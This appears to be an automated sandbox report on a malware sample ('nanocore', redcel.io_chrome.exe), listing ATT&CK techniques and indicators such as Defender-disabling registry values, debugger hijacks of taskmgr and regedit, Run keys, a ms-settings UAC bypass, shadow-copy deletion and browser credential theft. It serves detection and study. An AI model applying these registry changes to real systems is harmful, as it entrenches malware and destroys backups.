nanocore | 447694446b247e81f3d312e5b880187caaba812f28de426f317bff8136726ba0

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	redcel.io_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1208	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	redcel.io_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	redcel.io_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	redcel.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\redcel.io_chrome.exe"	redcel.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	redcel.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\redcel.io_chrome.exe"	redcel.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	redcel.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\redcel.io_chrome.exe"	redcel.io_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
3480	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf	redcel.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_38.pdf	redcel.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_60.pdf	redcel.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_80.pdf	redcel.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_105.pdf	redcel.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_141.pdf	redcel.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_148.pdf	redcel.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_195.pdf	redcel.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_23.pdf	redcel.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_25.pdf	redcel.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_69.pdf	redcel.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_72.pdf	redcel.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_101.pdf	redcel.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_128.pdf	redcel.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_142.pdf	redcel.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_174.pdf	redcel.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_2.pdf	redcel.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf	redcel.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_57.pdf	redcel.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_64.pdf	redcel.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_81.pdf	redcel.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_88.pdf	redcel.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_90.pdf	redcel.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_91.pdf	redcel.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_17.pdf	redcel.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_21.pdf	redcel.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_24.pdf	redcel.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_37.pdf	redcel.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_83.pdf	redcel.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_94.pdf	redcel.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_99.pdf	redcel.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_133.pdf	redcel.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_124.pdf	redcel.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_140.pdf	redcel.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_141.pdf	redcel.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_166.pdf	redcel.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_168.pdf	redcel.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_173.pdf	redcel.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_175.pdf	redcel.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_176.pdf	redcel.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_3.pdf	redcel.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_5.pdf	redcel.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_40.pdf	redcel.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_96.pdf	redcel.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_125.pdf	redcel.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_156.pdf	redcel.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_157.pdf	redcel.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_178.pdf	redcel.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_15.pdf	redcel.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_22.pdf	redcel.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_27.pdf	redcel.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf	redcel.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_66.pdf	redcel.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_95.pdf	redcel.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_105.pdf	redcel.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf	redcel.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_22.pdf	redcel.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_62.pdf	redcel.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_62.pdf	redcel.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_151.pdf	redcel.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_161.pdf	redcel.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_181.pdf	redcel.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_9.pdf	redcel.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_85.pdf	redcel.io_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\redcel.io_chrome.exe"	redcel.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\redcel.io_chrome.exe"	redcel.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\redcel.io_chrome.exe"	redcel.io_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
1852	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\sysupdate.exe	redcel.io_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	redcel.io_chrome.exe
File created	C:\Windows\system32\svchost.exe	redcel.io_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
4324	wscript.exe
384	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	redcel.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	redcel.io_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2344	sc.exe
3572	sc.exe
5648	sc.exe
5748	sc.exe
3820	sc.exe
5948	sc.exe
2764	sc.exe
3044	sc.exe
3500	sc.exe
4904	sc.exe
5236	sc.exe
1268	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5608	cmd.exe
1836	cmd.exe
2852	cmd.exe
3636	cmd.exe
1752	cmd.exe
1568	cmd.exe
2120	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4800	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
3736	ipconfig.exe
1676	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
2880	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4380	vssadmin.exe
3008	vssadmin.exe
3332	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Control Panel\Desktop\WallpaperStyle = "2"	redcel.io_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134306488736557755"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell\open	redcel.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell	redcel.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings	redcel.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	redcel.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\redcel.io_chrome.exe"	redcel.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell\open\command	redcel.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell\open	redcel.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings	redcel.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	redcel.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	redcel.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell\open\command	redcel.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell\open\command\DelegateExecute	redcel.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	redcel.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\redcel.io_chrome.exe\" \"%1\""	redcel.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	redcel.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell	redcel.io_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2328	schtasks.exe
4568	schtasks.exe
3480	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5132	chrome.exe
5132	chrome.exe
1208	powershell.exe
1208	powershell.exe
1208	powershell.exe
1232	WMIC.exe
1232	WMIC.exe
1232	WMIC.exe
1232	WMIC.exe
3436	redcel.io_chrome.exe
3436	redcel.io_chrome.exe
3436	redcel.io_chrome.exe
3436	redcel.io_chrome.exe
3436	redcel.io_chrome.exe
4832	WMIC.exe
4832	WMIC.exe
4832	WMIC.exe
4832	WMIC.exe
3436	redcel.io_chrome.exe
3436	redcel.io_chrome.exe
3436	redcel.io_chrome.exe
4700	WMIC.exe
4700	WMIC.exe
4700	WMIC.exe
4700	WMIC.exe
3436	redcel.io_chrome.exe
3436	redcel.io_chrome.exe
3436	redcel.io_chrome.exe
3436	redcel.io_chrome.exe
3436	redcel.io_chrome.exe
3436	redcel.io_chrome.exe
3436	redcel.io_chrome.exe
3436	redcel.io_chrome.exe
3436	redcel.io_chrome.exe
3436	redcel.io_chrome.exe
3436	redcel.io_chrome.exe
3436	redcel.io_chrome.exe
3436	redcel.io_chrome.exe
3436	redcel.io_chrome.exe
3436	redcel.io_chrome.exe
3436	redcel.io_chrome.exe
3436	redcel.io_chrome.exe
3436	redcel.io_chrome.exe
3436	redcel.io_chrome.exe
3436	redcel.io_chrome.exe
3436	redcel.io_chrome.exe
3436	redcel.io_chrome.exe
3436	redcel.io_chrome.exe
3436	redcel.io_chrome.exe
3436	redcel.io_chrome.exe
3436	redcel.io_chrome.exe
3436	redcel.io_chrome.exe
3436	redcel.io_chrome.exe
3436	redcel.io_chrome.exe
3436	redcel.io_chrome.exe
3436	redcel.io_chrome.exe
3436	redcel.io_chrome.exe
3436	redcel.io_chrome.exe
3436	redcel.io_chrome.exe
3436	redcel.io_chrome.exe
3436	redcel.io_chrome.exe
3436	redcel.io_chrome.exe
3436	redcel.io_chrome.exe
3436	redcel.io_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3436	redcel.io_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	5132	chrome.exe
Token: SeCreatePagefilePrivilege	5132	chrome.exe
Token: SeDebugPrivilege	1208	powershell.exe
Token: SeShutdownPrivilege	5132	chrome.exe
Token: SeCreatePagefilePrivilege	5132	chrome.exe
Token: SeShutdownPrivilege	5132	chrome.exe
Token: SeCreatePagefilePrivilege	5132	chrome.exe
Token: SeShutdownPrivilege	5132	chrome.exe
Token: SeCreatePagefilePrivilege	5132	chrome.exe
Token: SeShutdownPrivilege	5132	chrome.exe
Token: SeCreatePagefilePrivilege	5132	chrome.exe
Token: SeShutdownPrivilege	5132	chrome.exe
Token: SeCreatePagefilePrivilege	5132	chrome.exe
Token: SeShutdownPrivilege	5132	chrome.exe
Token: SeCreatePagefilePrivilege	5132	chrome.exe
Token: SeBackupPrivilege	3420	vssvc.exe
Token: SeRestorePrivilege	3420	vssvc.exe
Token: SeAuditPrivilege	3420	vssvc.exe
Token: SeIncreaseQuotaPrivilege	1232	WMIC.exe
Token: SeSecurityPrivilege	1232	WMIC.exe
Token: SeTakeOwnershipPrivilege	1232	WMIC.exe
Token: SeLoadDriverPrivilege	1232	WMIC.exe
Token: SeSystemProfilePrivilege	1232	WMIC.exe
Token: SeSystemtimePrivilege	1232	WMIC.exe
Token: SeProfSingleProcessPrivilege	1232	WMIC.exe
Token: SeIncBasePriorityPrivilege	1232	WMIC.exe
Token: SeCreatePagefilePrivilege	1232	WMIC.exe
Token: SeBackupPrivilege	1232	WMIC.exe
Token: SeRestorePrivilege	1232	WMIC.exe
Token: SeShutdownPrivilege	1232	WMIC.exe
Token: SeDebugPrivilege	1232	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1232	WMIC.exe
Token: SeRemoteShutdownPrivilege	1232	WMIC.exe
Token: SeUndockPrivilege	1232	WMIC.exe
Token: SeManageVolumePrivilege	1232	WMIC.exe
Token: 33	1232	WMIC.exe
Token: 34	1232	WMIC.exe
Token: 35	1232	WMIC.exe
Token: 36	1232	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1232	WMIC.exe
Token: SeSecurityPrivilege	1232	WMIC.exe
Token: SeTakeOwnershipPrivilege	1232	WMIC.exe
Token: SeLoadDriverPrivilege	1232	WMIC.exe
Token: SeSystemProfilePrivilege	1232	WMIC.exe
Token: SeSystemtimePrivilege	1232	WMIC.exe
Token: SeProfSingleProcessPrivilege	1232	WMIC.exe
Token: SeIncBasePriorityPrivilege	1232	WMIC.exe
Token: SeCreatePagefilePrivilege	1232	WMIC.exe
Token: SeBackupPrivilege	1232	WMIC.exe
Token: SeRestorePrivilege	1232	WMIC.exe
Token: SeShutdownPrivilege	1232	WMIC.exe
Token: SeDebugPrivilege	1232	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1232	WMIC.exe
Token: SeRemoteShutdownPrivilege	1232	WMIC.exe
Token: SeUndockPrivilege	1232	WMIC.exe
Token: SeManageVolumePrivilege	1232	WMIC.exe
Token: 33	1232	WMIC.exe
Token: 34	1232	WMIC.exe
Token: 35	1232	WMIC.exe
Token: 36	1232	WMIC.exe
Token: SeShutdownPrivilege	5132	chrome.exe
Token: SeCreatePagefilePrivilege	5132	chrome.exe
Token: SeShutdownPrivilege	5132	chrome.exe
Token: SeCreatePagefilePrivilege	5132	chrome.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe
5132	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3436	redcel.io_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3436 wrote to memory of 5132	3436	redcel.io_chrome.exe	88
PID 5132 wrote to memory of 936	5132	chrome.exe	89
PID 3436 wrote to memory of 1208	3436	redcel.io_chrome.exe	91
PID 3436 wrote to memory of 5748	3436	redcel.io_chrome.exe	93
PID 5132 wrote to memory of 4800	5132	chrome.exe	94
PID 5132 wrote to memory of 4120	5132	chrome.exe	95
PID 5132 wrote to memory of 4120	5132	chrome.exe	95
PID 5132 wrote to memory of 1416	5132	chrome.exe	97
PID 5132 wrote to memory of 1416	5132	chrome.exe	97
PID 5132 wrote to memory of 5856	5132	chrome.exe	99
PID 5132 wrote to memory of 5856	5132	chrome.exe	99
PID 5132 wrote to memory of 5484	5132	chrome.exe	100
PID 5132 wrote to memory of 5484	5132	chrome.exe	100
PID 3436 wrote to memory of 3820	3436	redcel.io_chrome.exe	101
PID 3436 wrote to memory of 5948	3436	redcel.io_chrome.exe	103
PID 3436 wrote to memory of 1268	3436	redcel.io_chrome.exe	105
PID 5132 wrote to memory of 856	5132	chrome.exe	107
PID 5132 wrote to memory of 856	5132	chrome.exe	107
PID 3436 wrote to memory of 2764	3436	redcel.io_chrome.exe	154
PID 5132 wrote to memory of 6112	5132	chrome.exe	110
PID 5132 wrote to memory of 6112	5132	chrome.exe	110
PID 3436 wrote to memory of 2344	3436	redcel.io_chrome.exe	111
PID 3436 wrote to memory of 3044	3436	redcel.io_chrome.exe	113
PID 3436 wrote to memory of 3572	3436	redcel.io_chrome.exe	115
PID 3436 wrote to memory of 5728	3436	redcel.io_chrome.exe	117
PID 3436 wrote to memory of 3500	3436	redcel.io_chrome.exe	118
PID 3436 wrote to memory of 4904	3436	redcel.io_chrome.exe	120
PID 5728 wrote to memory of 3124	5728	fodhelper.exe	122
PID 3436 wrote to memory of 3332	3436	redcel.io_chrome.exe	123
PID 3436 wrote to memory of 1232	3436	redcel.io_chrome.exe	125
PID 3436 wrote to memory of 4324	3436	redcel.io_chrome.exe	132
PID 3436 wrote to memory of 3480	3436	redcel.io_chrome.exe	170
PID 3436 wrote to memory of 2328	3436	redcel.io_chrome.exe	135
PID 3436 wrote to memory of 3636	3436	redcel.io_chrome.exe	140
PID 3436 wrote to memory of 2852	3436	redcel.io_chrome.exe	142
PID 3436 wrote to memory of 5608	3436	redcel.io_chrome.exe	143
PID 3436 wrote to memory of 2120	3436	redcel.io_chrome.exe	144
